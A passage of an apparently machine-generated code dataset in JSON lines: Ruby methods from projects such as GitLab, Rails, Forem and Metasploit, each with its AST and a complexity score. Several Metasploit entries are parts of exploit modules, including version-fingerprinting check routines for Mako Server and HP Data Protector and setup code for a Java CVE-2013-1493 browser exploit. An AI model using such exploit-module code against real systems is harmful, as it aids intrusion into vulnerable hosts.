hidden\")\n .order(:post_number)\n\n post_numbers = posts.limit(5).pluck(:post_number)\n post_numbers += posts.reorder(\"posts.score desc\").limit(50).pluck(:post_number)\n post_numbers += posts.reorder(\"post_number desc\").limit(5).pluck(:post_number)\n\n Post\n .where(topic_id: target.id)\n .joins(:user)\n .where(\"post_number in (?)\", post_numbers)\n .order(:post_number)\n end","complexity_score":39.15,"ast_json":"{\"type\":\"def\",\"children\":[\"pick_selection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"id\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"post_type = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"regular\"]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"NOT hidden\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"post_number\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_numbers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"limit\",{\"type\":\"int\",\"children\":[5]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"post_number\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_numbers\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"reorder\",{\"type\":\"str\",\"children\":[\"posts.score desc\"]}]},\"limit\",{\"type\":\"int\",\"children\":[50]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"post_number\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_numbers\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"reorder\",{\"type\":\"str\",\"children\":[\"post_number desc\"]}]},\"limit\",{\"type\":\"int\",\"children\":[5]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"post_number\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"id\"]}]}]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"post_number in (?)\"]},{\"type\":\"lvar\",\"children\":[\"post_numbers\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"post_number\"]}]}]}]}","id":"e2855be8-f83d-44b7-8eef-f128474701d4"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/projects/settings/slacks_controller_spec.rb","start_line":26,"raw_source":"def create_integration\n create(:gitlab_slack_application_integration, project: project)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_integration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"gitlab_slack_application_integration\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}","id":"db16419a-fd91-4681-90e8-288c03e1422e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/android/android.rb","start_line":50,"raw_source":"def initialize(client)\n super(client, 'android')\n\n # Alias the following things on the client object so that they\n # can be directly referenced\n client.register_extension_aliases(\n [\n {\n 'name' => 'android',\n 'ext' => self\n }\n ])\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},{\"type\":\"str\",\"children\":[\"android\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"register_extension_aliases\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"android\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ext\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]}]}","id":"492c0b94-65f1-462e-b9f4-213b01b3a945"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":2280,"raw_source":"def test_form_for_with_file_field_generate_multipart\n form_for(@post, html: { id: \"create-post\" }) do |f|\n concat f.file_field(:file)\n end\n\n expected = whole_form(\"/posts/123\", \"create-post\", \"edit_post\", method: \"patch\", multipart: true) do\n \"<input name='post[file]' type='file' id='post_file' />\"\n end\n\n assert_dom_equal expected, @rendered\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_for_with_file_field_generate_multipart\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"create-post\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"file_field\",{\"type\":\"sym\",\"children\":[\"file\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"str\",\"children\":[\"create-post\"]},{\"type\":\"str\",\"children\":[\"edit_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multipart\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"<input name='post[file]' type='file' id='post_file' />\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"4a1bec66-7dfa-4e5f-99d2-735f66eea878"} {"repo_name":"forem","file_path":"./repos/forem/app/mailers/notify_mailer.rb","start_line":137,"raw_source":"def tag_moderator_confirmation_email\n @user = params[:user]\n @tag = params[:tag]\n @channel_slug = params[:channel_slug]\n\n subject = I18n.t(\"mailers.notify_mailer.moderator\", tag_name: @tag.name)\n mail(to: @user.email, subject: subject)\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"tag_moderator_confirmation_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@tag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@channel_slug\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel_slug\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"mailers.notify_mailer.moderator\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tag\"]},\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"lvar\",\"children\":[\"subject\"]}]}]}]}]}]}","id":"45c37601-30b7-46ce-afa6-35b9d6386887"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/makoserver_cmd_exec.rb","start_line":57,"raw_source":"def check\n vprint_status('Trying to detect running Mako Server and necessary files...')\n\n # Send GET request to determine existence of save.lsp page\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'examples/save.lsp')\n }, 20)\n\n # If response does not include \"MakoServer.net\", target is not viable.\n if res.headers['Server'] !~ /MakoServer\\.net/\n vprint_warning('Target is not a Mako Server.')\n return CheckCode::Safe\n end\n\n if res.body\n if res.body.include?('Incorrect usage')\n # We are able to determine that the server has a save.lsp page and\n # returns the correct output.\n vprint_status('Mako Server save.lsp returns correct ouput.')\n return CheckCode::Appears\n else\n # The page exists, but is not returning the expected output.\n # May be a different version?\n vprint_warning('Mako Server save.lsp did not return expected output.')\n return CheckCode::Detected\n end\n else\n # The above checks failed and exploitability could not be determined.\n vprint_error('Unable to determine exploitability, save.lsp not found.')\n return CheckCode::Unknown\n end\n\n CheckCode::Safe\n end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Trying to detect running Mako Server and necessary files...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"examples/save.lsp\"]}]}]}]},{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MakoServer\\\\.net\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"str\",\"children\":[\"Target is not a Mako Server.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Incorrect usage\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Mako Server save.lsp returns correct ouput.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"str\",\"children\":[\"Mako Server save.lsp did not return expected output.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Unable to determine exploitability, save.lsp not found.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"cef66375-6b79-41dd-b2d1-983bf728ebfe"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/xls_export/lib/open_project/xls_export/spreadsheet_builder.rb","start_line":221,"raw_source":"def escaped_worksheet_name(name)\n name.gsub!(/[\\/\\\\*\\[\\]:?]/, \"#\")\n name = name[0, [name.length, 27].min] + \"...\" if name.length > 31\n\n name\n end","complexity_score":11.63,"ast_json":"{\"type\":\"def\",\"children\":[\"escaped_worksheet_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[/\\\\\\\\*\\\\[\\\\]:?]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"#\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"length\"]},{\"type\":\"int\",\"children\":[27]}]},\"min\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"...\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"3ed66e7d-27b0-47a5-aa76-5de589180bb6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/hp_dataprotector_crs.rb","start_line":140,"raw_source":"def check\n fingerprint = get_fingerprint\n\n if fingerprint.nil?\n vprint_error(\"Unable to fingerprint\")\n return Exploit::CheckCode::Unknown\n end\n\n port = get_crs_port\n\n if port.nil?\n vprint_status(\"HP Data Protector version #{fingerprint}\")\n vprint_error(\"But CRS port not found\")\n else\n vprint_status(\"CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}\")\n end\n\n if fingerprint =~ /HP Data Protector A\\.06\\.20: INET, internal build 370/\n # More likely to be exploitable\n return Exploit::CheckCode::Appears\n elsif fingerprint =~ /HP Data Protector A\\.07\\.00: INET, internal build 72/\n # More likely to be exploitable\n return Exploit::CheckCode::Appears\n elsif fingerprint =~ /HP Data Protector A\\.07\\.00/\n return Exploit::CheckCode::Appears\n elsif fingerprint =~ /HP Data Protector A\\.07\\.01/\n return Exploit::CheckCode::Appears\n elsif fingerprint =~ /HP Data Protector A\\.06\\.20/\n return Exploit::CheckCode::Appears\n elsif fingerprint =~ /HP Data Protector A\\.06\\.21/\n return Exploit::CheckCode::Appears\n end\n\n return Exploit::CheckCode::Safe\n end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fingerprint\",{\"type\":\"send\",\"children\":[null,\"get_fingerprint\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Unable to fingerprint\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[null,\"get_crs_port\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HP Data Protector version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"But CRS port not found\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CRS running on port \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\"/TCP, HP Data Protector version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HP Data Protector A\\\\.06\\\\.20: INET, internal build 370\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HP Data Protector A\\\\.07\\\\.00: INET, internal build 72\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HP Data Protector A\\\\.07\\\\.00\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HP Data Protector A\\\\.07\\\\.01\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HP Data Protector A\\\\.06\\\\.20\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HP Data Protector A\\\\.06\\\\.21\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"b576c8be-f757-46b0-b4f5-e807bbabdaff"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report_result.rb","start_line":202,"raw_source":"def purge_for_user\n user = userid.split(\"|\").first unless userid.nil?\n self.class.purge_for_user(:userid => user) unless user.nil?\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_for_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"userid\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"userid\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"first\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"purge_for_user\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}]}","id":"8e2b1cad-dc70-4e85-a2f4-0983c2b29ead"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_imports/file_transfer/base_config.rb","start_line":28,"raw_source":"def relation_included_keys(relation)\n attributes_finder.find_included_keys(relation)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"relation_included_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes_finder\"]},\"find_included_keys\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]}","id":"deb6efa7-d08e-482c-8883-a3163c15e960"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/java_cmm.rb","start_line":70,"raw_source":"def setup\n path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-1493\", \"Init.class\")\n @init_class = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-1493\", \"Leak.class\")\n @leak_class = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-1493\", \"MyBufferedImage.class\")\n @buffered_image_class = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-1493\", \"MyColorSpace.class\")\n @color_space_class = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n\n @init_class_name = rand_text_alpha(\"Init\".length)\n @init_class.gsub!(\"Init\", @init_class_name)\n super\n end","complexity_score":44.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-1493\"]},{\"type\":\"str\",\"children\":[\"Init.class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@init_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-1493\"]},{\"type\":\"str\",\"children\":[\"Leak.class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@leak_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-1493\"]},{\"type\":\"str\",\"children\":[\"MyBufferedImage.class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@buffered_image_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-1493\"]},{\"type\":\"str\",\"children\":[\"MyColorSpace.class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@color_space_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"